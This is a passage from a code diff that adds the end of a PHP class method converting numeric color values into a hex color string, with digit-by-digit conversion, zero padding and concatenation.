+                $c = ($c / 16) >> 0;
+                array_push($hexAr, $hex[$r]);
+            }
+            array_push($hexAr, $hex[$c]);
+            $ret = array_reverse($hexAr);
+            $item = implode('', $ret);
+            $item = str_pad($item, 2, '0', STR_PAD_LEFT);
+            $hexColor .= $item;
+        }
+        return $hexColor;
+    }
+
+}